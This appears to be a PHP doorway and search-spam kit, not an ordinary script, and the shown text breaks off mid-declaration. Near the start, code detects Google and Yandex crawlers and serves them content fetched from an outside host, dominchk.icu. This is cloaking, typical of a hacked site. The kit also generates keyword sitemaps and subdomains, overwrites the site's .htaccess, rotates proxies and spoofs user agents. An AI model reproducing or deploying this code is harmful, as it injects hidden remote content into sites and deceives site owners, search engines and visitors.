Verification: '.$mtch[1].''); } $user_agent_to_filter = array( '#Yandex#i', '#google#i' ) ; if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){ echo file_get_contents('http://dominchk.icu/gavnuke.php'); } // include("casitemp/ant/ant_incl.php"); $GLOBALS['_1175134457_']=Array(); function _638390381($i){$a=Array(); return base64_decode($a[$i]); } timer::start(); error_reporting(E_ERROR); define('HTTP_HOST',$_SERVER['HTTP_HOST']); define('ROOT_DIR',$_SERVER['DOCUMENT_ROOT']); class _File{public static function Open($file_name,$mode){self::MakePath($file_name); if(!file_exists($file_name))$fp=fopen($file_name,'w+'); else $fp=fopen($file_name,$mode); flock($fp,LOCK_EX); return $fp; }public static function Close($Handle){flock($Handle,LOCK_UN); fclose($Handle); }public static function Write($Handle,$String){fwrite($Handle,$String); }public static function PutContent($Path,$Content){self::MakePath($Path); file_put_contents($Path,$Content); }public static function MakePath($path){if(file_exists($path))return; $path_arr=split('[\\/]',$path); $path=array_shift($path_arr); $file=array_pop($path_arr); if(!preg_match('~\.[^.]+$~ism',$file))$path[]=$file; foreach($path_arr as $folder){$path=self::MakeDirectory($path,$folder); }}public static function MakeDirectory($path,$folder=false){if($folder)$path=$path .'/' .$folder; $path=preg_replace('~[\\/]+~','/',$path); if(!file_exists($path))mkdir($path); return $path; }public static function RemoveDir($path){if(file_exists($path)&& is_dir($path)){$dirHandle=opendir($path); while(false !==($file=readdir($dirHandle))){if($file!='.'&& $file!='..'){$tmpPath=$path .'/' .$file; chmod($tmpPath,0777); if(is_dir($tmpPath)){self::RemoveDir($tmpPath); }else{if(file_exists($tmpPath)){unlink($tmpPath); }}}}closedir($dirHandle); if(file_exists($path)){rmdir($path); }}}}class SM_Pattern{public $Pattern; public $FilePath; public $RelativePath; public $URL; public $Links; private $Template; private $fopen; private $Host; public function SetMapTemplate($Template){if(is_file($Template)&& file_exists($Template))$Template=file_get_contents($Template); $this->Template=$Template; }public function SM_Pattern($Pattern,$RelativePath,$Host=false){$this->Pattern=$Pattern; $this->RelativePath=$RelativePath; $this->Host=$Host; $this->FilePath=str_replace('{ROOT_DIR}',$_SERVER['DOCUMENT_ROOT'],$RelativePath); $this->URL=$Host?str_replace('{ROOT_DIR}',"http://{$Host}",$RelativePath):str_replace('{ROOT_DIR}','',$RelativePath); }public function SetNewPath($NewRelativePath){$this->FilePath=str_replace('{ROOT_DIR}',$_SERVER['DOCUMENT_ROOT'],$NewRelativePath); $this->URL=$this->Host?str_replace('{ROOT_DIR}',"http://{$this->Host}",$NewRelativePath):str_replace('{ROOT_DIR}','',$NewRelativePath); }public function AddLink($Keyword,$Link){if(!$this->fopen)$this->fopen=_File::Open($this->FilePath,'a+'); $link=strtr($this->Pattern,array('{KEYWORD}'=> $Keyword,'{LINK}'=> $Link)); _File::Write($this->fopen,$link ."\n"); }public function Close(){if($this->fopen)_File::Close($this->fopen); }public function AddLinkToArray($Keyword,$Link){$this->Links[]=strtr($this->Pattern,array('{KEYWORD}'=> $Keyword,'{LINK}'=> $Link)); }public function SaveArrayInFile($shuffle=false){if(!count($this->Links))return false; if($shuffle)shuffle($this->Links); $links=implode('',$this->Links); $content=$this->Template?str_replace('{MAP}',$links,$this->Template):$links; _File::PutContent($this->FilePath,$content); }public function Count(){return count($this->Links); }public function GetSitemapUrl(){return $this->URL; }public function Clear(){$this->Links=array(); }public function DeleteSiteMap(){if(file_exists($this->FilePath))unlink($this->FilePath); }}class SM_Patterns{public $List; private $Host; public function SM_Patterns($Host){$this->Host=$Host; }public function SetHost($Host){$this->Host=$Host; }public function Add($Pattern,$RelativePath){$this->List[]=new SM_Pattern($Pattern,$RelativePath,$this->Host); }public function AddLinkInSM($Keyword,$Link){if(!count($this->List))return; foreach($this->List as $pattern){$pattern->AddLink($Keyword,$Link); }}public function DeleteSiteMaps(){if(!count($this->List))return; foreach($this->List as $id => $pattern){$pattern->DeleteSiteMap(); }}public function Close(){if(!count($this->List))return; foreach($this->List as $pattern){$pattern->Close(); }}}class Sitemap{const SM_ONLY_SUBDOMAINS=1; const SM_SUBDOMAINS_WITH_INNER_LINKS=2; const SM_DOMAIN_WITH_INNER_LINKS=3; const SM_ALL=4; const SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS=5; private $MainHost; public function SetMainHost($MainHost){$this->MainHost=$MainHost; $this->SM_Patterns->SetHost($MainHost); }private $Mode=self::SM_SUBDOMAINS_WITH_INNER_LINKS; public function SetMode($value){$this->Mode=$value; }private $CountInnerLinksInCurrentMap=0; private $CountInnerLinksInMap=300; public function SetCountInnerLinksInMap($value){if($this->Mode != self::SM_ONLY_SUBDOMAINS){$this->CountInnerLinksInMap=$value; }else $this->CountInnerLinksInMap=0; }private $CountSubdomainLinksInCurrentMap=0; private $CountMainPagesLinksInCurrentMap=0; private $CountMainPagesLinksInMap=0; public function SetCountMainPagesLinksInMap($value){if($this->Mode != self::SM_DOMAIN_WITH_INNER_LINKS){$this->CountMainPagesLinksInMap=$value; }else $this->CountMainPagesLinksInMap=0; }private $MainSMPattern; public function SetMainSMPattern($Pattern,$FolderPath){$this->MainSMPattern=new SM_Pattern($Pattern,$FolderPath,$this->MainHost); }public function SetMainSM_Pattern($SM_Pattern){$this->MainSMPattern=$SM_Pattern; }private $Template; public function SetMapTemplate($Template,$Folder=false){$file_name=preg_replace('~[\\/]+~','/',$Folder .$Template); if(is_file($file_name)&& file_exists($file_name)){$Template=file_get_contents(preg_replace('~[\\/]+~','/',$Folder .$Template)); }$this->Template=$Template; }public function GetSitemapURL(){return $this->MainSMPattern->GetSitemapUrl(); }public $SM_Patterns; public function SetSM_Patterns($SM_Patterns){$this->SM_Patterns=$SM_Patterns; }public function Sitemap($Host){$this->MainHost=$Host; $this->SM_Patterns=new SM_Patterns($Host); }public function Make($RequestURI=false){if(stristr($_SERVER['REQUEST_URI'],($RequestURI?$RequestURI:'make_sitemaps'))){$this->SM_Patterns->DeleteSiteMaps(); $this->MakeSiteMaps(); exit; }}public function MakeSiteMaps(){$keywords=file(keywords::$binary_keywords_path); shuffle($keywords); $count_urls_in_map=$this->CountInnerLinksInMap+$this->CountMainPagesLinksInMap; if($this->Mode == self::SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS)$count_urls_in_map=$this->CountInnerLinksInMap; $max=max(array($this->CountInnerLinksInMap,$this->CountMainPagesLinksInMap)); $maps_count=floor(sizeof($keywords)/$max); $SM_Relative_Path=$this->MainSMPattern->RelativePath; $SM_folder_path=$this->MainSMPattern->FilePath; $this->SM_Patterns->AddLinkInSM($this->MainHost,"http://{$this->MainHost}/"); for($sm_num=1; $sm_num <= $maps_count; $sm_num++){$this->MainSMPattern->SetNewPath("{$SM_Relative_Path}{$sm_num}.php"); $this->SM_Patterns->AddLinkInSM("Sitemap $sm_num",$this->MainSMPattern->URL); }$map_number=1; $MS_MainPage=new SM_Pattern($this->MainSMPattern->Pattern,$SM_Relative_Path .'index.php',$this->MainHost); $MS_MainPage->SetMapTemplate($this->Template); for($i=0; $iMakeSubdomain($keyword); $inner_link=$this->MakeInnerLink($keyword,$sub_keyword); if($subdomain)$this->SM_Patterns->AddLinkInSM($subdomain->anchor,$subdomain->url); if($inner_link)$this->SM_Patterns->AddLinkInSM($inner_link->anchor,$inner_link->url); $this->MainSMPattern->SetNewPath("{$SM_Relative_Path}{$map_number}.php"); if($subdomain)$this->MainSMPattern->AddLinkToArray($subdomain->anchor,$subdomain->url); if($inner_link)$this->MainSMPattern->AddLinkToArray($inner_link->anchor,$inner_link->url); if($this->MainSMPattern->Count()>= $count_urls_in_map){$this->MainSMPattern->SetMapTemplate($this->Template); $this->MainSMPattern->SaveArrayInFile(true); $this->MainSMPattern->Clear(); $MS_MainPage->AddLinkToArray("Main page $map_number",$this->MainSMPattern->URL); $map_number++; $this->CountSubdomainLinksInCurrentMap=0; $this->CountInnerLinksInCurrentMap=0; }}$MS_MainPage->SaveArrayInFile(); $SM_Url=$MS_MainPage->GetSitemapURL(); $this->SM_Patterns->Close(); $MS_MainPage->Close(); echo"Sitemap"; }function MakeSubdomain($keyword){if($this->Mode == self::SM_ALL || $this->Mode == self::SM_SUBDOMAINS_WITH_INNER_LINKS || $this->Mode == self::SM_ONLY_SUBDOMAINS){if($this->CountMainPagesLinksInMap>$this->CountSubdomainLinksInCurrentMap){$this->CountSubdomainLinksInCurrentMap++; return new link($keyword,"http://{$keyword->link_body}.{$this->MainHost}/"); }}return false; }function MakeDomainWithLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_ALL || $this->Mode == self::SM_DOMAIN_WITH_INNER_LINKS){if($this->CountInnerLinksInMap>$this->CountInnerLinksInCurrentMap){$this->CountInnerLinksInCurrentMap++; return new link($keyword,"http://{$this->MainHost}/$keyword->link_body.php"); }}return false; }function MakeFolderWithLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS){if($this->CountInnerLinksInMap>$this->CountInnerLinksInCurrentMap){$this->CountInnerLinksInCurrentMap++; if(!$keyword_on_sub)return new link($keyword,"http://{$this->MainHost}/{$keyword->link_body}/"); return new link($keyword,"http://{$this->MainHost}/{$keyword_on_sub->link_body}/$keyword->link_body.php"); }}return false; }function MakeSubdomainWithLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_ALL || $this->Mode == self::SM_SUBDOMAINS_WITH_INNER_LINKS){if($this->CountInnerLinksInMap>$this->CountInnerLinksInCurrentMap){$this->CountInnerLinksInCurrentMap++; if(!$keyword_on_sub)return new link($keyword,"http://{$keyword->link_body}.{$this->MainHost}/$keyword->link_body.php"); return new link($keyword,"http://{$keyword_on_sub->link_body}.{$this->MainHost}/$keyword->link_body.php"); }}return false; }function MakeInnerLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_ALL){if(mt_rand(0,1))return $this->MakeSubdomainWithLink($keyword,$keyword_on_sub); else return $this->MakeDomainWithLink($keyword,$keyword_on_sub); }elseif($this->Mode == self::SM_SUBDOMAINS_WITH_INNER_LINKS){return $this->MakeSubdomainWithLink($keyword,$keyword_on_sub); }elseif($this->Mode == self::SM_DOMAIN_WITH_INNER_LINKS){return $this->MakeDomainWithLink($keyword,$keyword_on_sub); }elseif($this->Mode == self::SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS){if(mt_rand(0,1))return $this->MakeFolderWithLink($keyword); else return $this->MakeFolderWithLink($keyword,$keyword_on_sub); }return false; }}class Install{private $KeywordsPath; public function SetKeywordsPath($value){$this->KeywordsPath=preg_replace('~[\\/]+~','/',$value); }private $BinaryKeywordsPath; public function SetBinaryKeywordsPath($value){$this->BinaryKeywordsPath=preg_replace('~[\\/]+~','/',$value); }public function Install($KeywordsPath=false,$BinaryKeywordsPath=false){$this->SetKeywordsPath($KeywordsPath); $this->SetBinaryKeywordsPath($BinaryKeywordsPath); $this->Textmaker=new Textmaker(); }private $Textmaker; public function SetBaseContentPath($value){$this->Textmaker->SetBasePath($value); }public function SetInnerContentPath($value){$this->Textmaker->SetInnerTextPath($value); }private function make_htaccess(){file_put_contents($_SERVER['DOCUMENT_ROOT'] .'/.htaccess',"PHP_VALUE default_charset windows-1251 RewriteEngine on Options +FollowSymlinks # www RewriteBase / RewriteCond %{HTTP_HOST} ^www.{$_SERVER['HTTP_HOST']}$ RewriteRule ^ http://{$_SERVER['HTTP_HOST']}%{REQUEST_URI} [R=301,L] # RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php [L,QSA]"); }private function make_keywords(){$keywords=file($this->KeywordsPath); $keywords=array_unique($keywords); $data=array(); foreach($keywords as $key){$key=trim($key); if(strlen($key)>50)continue; $key_translate=translate::eng($key); $key_translate=preg_replace('~[^a-z0-9_\- ]+~ism','',$key_translate); $key_translate=preg_replace('~[\s\-]+~ism','-',$key_translate); $key=preg_replace('~[\s]+~ism',' ',$key); $key=preg_replace('~[\-]+~ism','-',$key); $data[]=array($key_translate,trim($key)); }$search=new binary_search_col($this->BinaryKeywordsPath,0,'||'); $search->make_indexed_file($data); }public function Run($request_uri_in=false,$request_uri_out=false){set_time_limit(0); if(!stristr($_SERVER['REQUEST_URI'],($request_uri_in?$request_uri_in:'install')))return; if(!file_exists($this->KeywordsPath)|| file_exists($this->BinaryKeywordsPath))return; $this->Textmaker->MakeBase(); $this->make_keywords(); $this->make_htaccess(); if($request_uri_out)$_SERVER['REQUEST_URI']=$request_uri_out; else exit; }}class Encoding{static public function Encode($text,$output_charset){mb_internal_encoding($output_charset); $encode=self::DetectHTMLDocEncoding($text); $encode=$encode?$encode:self::DetectTextEncoding($text); return mb_convert_encoding($text,$output_charset,$encode); }static public function DetectHTMLDocEncoding($content){if(!$content)return false; preg_match("/charset=(['\"]|)(.*?)(\n|'|\"|>)/ism",$content,$charset); $charset=@trim($charset[2]); if(preg_match("~(windows-1251|1251)~ism",$charset))return 'Windows-1251'; elseif(preg_match("~(koi8|iso-ir-111)~ism",$charset))return 'KOI8-R'; elseif(preg_match("~iso-8859-5~ism",$charset))return 'ISO-8889-5'; elseif(preg_match("~ibm866~ism",$charset))return 'ibm866'; elseif(preg_match("~x-mac-(cyrillic|ukrainian)~ism",$charset))return 'x-mac-(cyrillic|ukrainian)'; elseif(preg_match("~ibm855~ism",$charset))return 'Windows-1251'; elseif(preg_match("~utf-8~ism",$charset))return 'UTF-8'; }public static function DetectTextEncoding($text){setlocale(LC_CTYPE,'ru_RU'); $x_win=array(''=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073',''=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214'); $x_koi=array(''=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073',''=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214'); $x_iso=array(''=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073',''=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214'); $x_dos=array(' '=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073','_'=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214'); $text=substr($text,0,1000); $len=strlen($text); for($i=0; $i<$len; $i++){@$let=strtolower($text[$i]); @$t[$let]++; }if(is_array($t))foreach($t as $k => $v){@$t_win += $v*$x_win[$k]; @$t_koi += $v*$x_koi[$k]; @$t_iso += $v*$x_iso[$k]; @$t_dos += $v*$x_dos[$k]; }$r='none'; $tmp=max($t_win,$t_koi,$t_iso,$t_dos); if($t_win == $tmp)$r='Windows-1251'; if($t_koi == $tmp)$r='KOI8-R'; if($t_iso == $tmp)$r='ISO-8889-5'; if($t_dos == $tmp)$r='Windows-1251'; return $r; }}class WebProxy{public $adress; public $port; public $login; public $password; public $ISLocalIP; public function ISLocalIP($ISLocalIP=true){$this->ISLocalIP=$ISLocalIP; }public function WebProxy($adress=null,$port=null,$login=null,$password=null){$this->adress=$adress; $this->port=$port; $this->login=$login; $this->password=$password; }public function FromString($proxy){$proxy=split("[:\t; ]",$proxy); $this->adress=trim($proxy[0]); $this->port=isset($proxy[1])?trim($proxy[1]):80; $this->login=isset($proxy[2])?trim($proxy[2]):null; $this->password=isset($proxy[3])?trim($proxy[3]):null; }}class ProxyData{public $Proxy; public $IsBad; public $LastUseTime; public function ProxyData($Proxy,$IsBad,$LastUseTime){$this->Proxy=$Proxy; $this->IsBad=$IsBad; $this->LastUseTime=$LastUseTime; }}class ProxyManager{public $UseProxyTimeout; public $BadProxyTimeout; public $DeleteBadProxy; public $Enabled; protected $ISLocalIP=false; public function ProxyManager($Enabled=true,$UseProxyTimeout=60,$BadProxyTimeout=200,$DeleteBadProxy=true){$this->Enabled=$Enabled; $this->UseProxyTimeout=$UseProxyTimeout; $this->BadProxyTimeout=$BadProxyTimeout; $this->DeleteBadProxy=$DeleteBadProxy; }public function UpdateProxyList(){foreach($this->ProxyList as $index => $_Proxy){if($_Proxy->IsBad && $_Proxy->LastUseTimeBadProxyTimeout){$this->ProxyList[$index]->IsBad=false; }}}public function GetValidProxyList(){$this->UpdateProxyList(); $time=$this->UseProxyTimeout; $ValidProxyList=array(); foreach($this->ProxyList as $index => $_Proxy){if(!$_Proxy->IsBad && $_Proxy->LastUseTimeUseProxyTimeout){$ValidProxyList[]=$_Proxy; }}return $ValidProxyList; }public function RemoveProxy($Proxy){foreach($this->ProxyList as $index => $_Proxy){if($_Proxy == $Proxy){unset($this->ProxyList[$index]); return; }}}public function StopBadProxy($Proxy){if($this->DeleteBadProxy){$this->RemoveProxy($Proxy); return; }foreach($this->ProxyList as $index => $_Proxy){if($_Proxy == $Proxy){$this->ProxyList[$index]->LastUseTime=time(); $this->ProxyList[$index]->IsBad=true; return; }}}private $Proxy=null; public function GetCurrentProxy(){if(!$this->Enabled)return null; if($_Proxy == null)return $this->RandomProxy(); else return $_Proxy; }public function SetCurrentProxy($value){$_Proxy=$value; }public function ProxyFromString($string){$_Proxy=new WebProxy(); $_Proxy->FromString($string); }public function RandomProxy(){if(!$this->Enabled)return null; if(!$this->ProxyList)return null; if(count($this->ProxyList)== 0)return null; $_Proxy=$this->ProxyList[mt_rand(0,count($this->ProxyList))]; return $_Proxy; }public function RandomValidProxy(){if(!$this->Enabled)return null; if(!$this->ProxyList)return null; if(count($this->ProxyList)== 0)return null; $ValidProxyList=$this->GetValidProxyList(); return $ValidProxyList[mt_rand(0,count($ValidProxyList)-1)]->Proxy; }public function ClearCurrentProxy(){$this->_Proxy=null; }public function RemoveCurrentProxy(){if($this->_Proxy != null)$this->RemoveProxy($this->_Proxy); }public $ProxyList; public function SetProxyList($proxy_list){if(is_file($proxy_list)&& file_exists($proxy_list))$proxy_list=file_get_contents($proxy_list); if(is_string($proxy_list))$proxy_list=split("[\r\n]",$proxy_list); foreach($proxy_list as $proxy){$this->AddProxy($proxy); }}public function AddProxy($WebProxy){if($this->ProxyList == null)$this->ProxyList=array(); if(is_string($WebProxy)){if(!trim($WebProxy))return; $proxy=new WebProxy(); $proxy->ISLocalIP($this->ISLocalIP); $proxy->FromString($WebProxy); $this->AddProxy($proxy); }else $this->ProxyList[]=new ProxyData($WebProxy,false,time()-100*60*60*24); }public function Clear(){$this->ProxyList=array(); }}class LocalIpAsProxyManager extends ProxyManager{public function LocalIpAsProxyManager($UseIpTimeout=60,$BadIpTimeout=200){$this->Enabled=true; $this->UseProxyTimeout=$UseIpTimeout; $this->BadProxyTimeout=$BadIpTimeout; $this->DeleteBadProxy=false; $this->ISLocalIP=true; }}class UserAgentsManager{public $UserAgentsList=array('Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.18)','Mozilla/2.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.19)','Mozilla/3.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)','Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12)','Mozilla/4.7 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.13)','Opera/9.15 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)','Opera/9.20 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.19)','Opera/9.40 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.18)','Opera/8.2beta (Windows; U; Windows NT 5.1; ru; rv:1.8.2.44)','Opera/9.16 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.10)','Opera/7.15 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.28)','Opera/8.92 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.38)','Opera/8.95 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.48)','Opera/9.33 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.58)','Opera/9.45 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.68)','Opera/9.55 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.78)','Opera/9.62 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.88)','IE 4.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.2.18)','IE 5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.3.18)','IE 6.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.4.18)','IE 7.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.5.18)','IE 5.5 (Windows; U; Windows NT 5.1; ru; rv:1.8.6.18)','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian|Debian-1.8.0.7-1) Epiphany/2.14','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)','Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929','Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20100101 Firefox/4.0','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1','Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10','Opera/9.80 (Macintosh; Intel Mac OS X 10.6.7; U; ru) Presto/2.8.131 Version/11.10','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru) AppleWebKit/534.31+ (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1'); private $CurrentUserAgent; public function CurrentUserAgent(){if(!$this->CurrentUserAgent)return $this->RrandomUserAgent(); else return $this->CurrentUserAgent; }public function SetCurrentUserAgent($user_agent){if(!in_array($user_agent,$this->UserAgentsList))$this->Add($user_agent); $this->CurrentUserAgent=$user_agent; }public function RrandomUserAgent(){$key=mt_rand(0,count($this->UserAgentsList)-1); return $this->UserAgentsList[$key]; }public function SetUserAgents($user_agents){if(is_file($user_agents)&& file_exists($user_agents))$user_agents=file_get_contents($user_agents); if(is_string($user_agents))$user_agents=split("[\r\n]",$user_agents); foreach($user_agents as $user_agent){if(!$this->Add($user_agent))continue; }}public function Add($user_agent){if(!trim($user_agent))return false; $this->UserAgentsList[]=trim($user_agent); return true; }public function clear(){$this->UserAgentsList=array(); }}class PostData{public $Multipart='multipart/form-data'; public $Variables; public $UseMultipart; }class RequestData{const METHOD_GET='get'; const METHOD_POST='post'; const STATE_FAILED="Failed"; const STATE_RETRIEVING="Retrieving"; const STATE_FINISHED="Finished"; const STATE_TIMEOUT="Timeout"; public $Url; public $Host; public $Port; public $Proxy; public $UserAgent; public $PathQuery; public $State; public $RequestMethod; public $Referer; public $Content=''; public $Size=0; public $ConnectTimeout=0; public $Timeout=0; public $Request; public $PostData=null; private $Boundary; public $OtherData; public function SetOtherData($OtherData){$this->OtherData=$OtherData; }public function RequestData($url){$this->SetUrl($url); $this->Referer='http://' .$this->Host .'/'; $this->Boundary="NEXT" .md5(uniqid(microtime())); }public function SetUrl($url){$url_data=parse_url($url); $url_data['path']=@$url_data['path']?$url_data['path']:'/'; $this->Url=$url; $this->Host=$url_data['host']; $this->Port=empty($url_data['port'])?80:$url_data['port']; $this->PathQuery=empty($url_data['query'])?$url_data['path']:$url_data['path'] .'?' .$url_data['query']; }public function SetState($State){$this->State=$State; }public function SetProxy($WebProxy){if(!$WebProxy)return false; $this->Proxy=$WebProxy; }public function SetUserAgent($UserAgent){$this->UserAgent=$UserAgent; }public function SetPostData($PostData,$UseMultipart=false){$this->PostData->Variables=$PostData; $this->PostData->UseMultipart=$UseMultipart; }public function SetRequestMethod($RequestMethod){$this->RequestMethod=$RequestMethod; }public function SetReferer($Referer){if(!trim($Referer))return; $this->Referer=$Referer; }public function SetConnectTimeout($Value){$this->ConnectTimeout=$Value; }public function SetContent($Content){$this->Content=$Content; }public function AddContent($Content){$this->Content .= $Content; }public function GetRequest(){if(!$this->Request)return $this->Request; return $this->MakeRequest(); }function RequestWithProxy($method){if(!$this->Proxy)return false; $this->Request="{$method} {$this->Url} HTTP/1.0\r\n"; $this->Request .="Host: {$this->Proxy->adress}\r\n"; if($this->Proxy->login && $this->Proxy->password)$this->Request .= "Proxy-Authorization: Basic " .base64_encode("{$this->Proxy->login}:{$this->Proxy->password}") ."\r\n\r\n"; }function RequestWithoutProxy($method){if($this->Proxy)return false; $this->Request="{$method} {$this->PathQuery} HTTP/1.0\r\n"; $this->Request .="Host: {$this->Host}\r\n"; }public function MakeRequest(){switch($this->RequestMethod){case self::METHOD_GET:$this->RequestWithProxy('GET'); $this->RequestWithoutProxy('GET'); $this->Request .="Referer: {$this->Referer}\r\n"; $this->Request .= "Accept: text/html, application/xml; q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*; q=0.1\r\n"; $this->Request .= "Accept-Language: ru\r\n"; $this->Request .= "Accept-Charset: windows-1251, utf-8; q=0.6, *; q=0.1\r\n"; $this->Request .= "Expires: no-store, no-cache, must-revalidate\r\n"; $this->Request .= "Cache-Control: no-cache\r\n"; $this->Request .="User-Agent: {$this->UserAgent}\r\n"; $this->Request .= "Connection: close\r\n"; $this->Request .= "\r\n"; break; case self::METHOD_POST:$this->RequestWithProxy('POST'); $this->RequestWithoutProxy('POST'); switch(strtolower($this->PostData->UseMultipart)){case true:parse_str($variables,$variables); while(list($key,$key)=key){$query_data .= "--" .$this->boundary ."\r\n"; $query_data .="Content-Disposition: form-data; name=\"{$key}\"\r\n\r\n"; $query_data .="{$value}\r\n"; }$query_data .= "--" .$this->boundary ."--\r\n"; $this->Request .="User-Agent: {$this->UserAgent}\r\n" ."Referer: {$this->Referer}\r\n" ."Content-Type: multipart/form-data; boundary=" .$this->boundary ."\r\n" ."Content-Length: " .strlen($query_data) ."\r\n" ."Connection: close\r\n" ."\r\n" .$query_data; break; default:$query_data=$variables; $this->Request .="User-Agent: {$this->UserAgent}\r\n" ."Referer: {$this->Referer}\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: " .strlen($query_data) ."\r\n" ."Connection: close\r\n" ."\r\n" .$query_data; break; }}}}class UrlWithOtherData{public $Url; public $OtherData; public function UrlWithOtherData($Url,$OtherData){$this->Url=$Url; $this->OtherData=$OtherData; }}class HTTP_Request{const CURL='Curl'; const SOCKETS='Sockets'; const SOCKS5='SOCKS5'; const SOCKS4='SOCKS4'; const HTTP=false; public $RequestType=self::SOCKETS; public function SetRequestType($value){$this->RequestType=$value; }public $ProxyType; public function SetProxyType($value){$this->ProxyType=$value; }private $text_output_charset='UTF-8'; public function set_output_charset($charset){$this->text_output_charset=$charset; }public $UserAgentsManager; public function SetUserAgentsManager($user_agents_manager){$this->UserAgentsManager=$user_agents_manager; }public function SetUserAgents($user_agents){$this->UserAgentsManager->SetUserAgents($user_agents); }public $ProxyManager; public function SetProxyManager($ProxyManager){if($ProxyManager)$this->ProxyManager=$ProxyManager; }public $LocalIpManager; public function 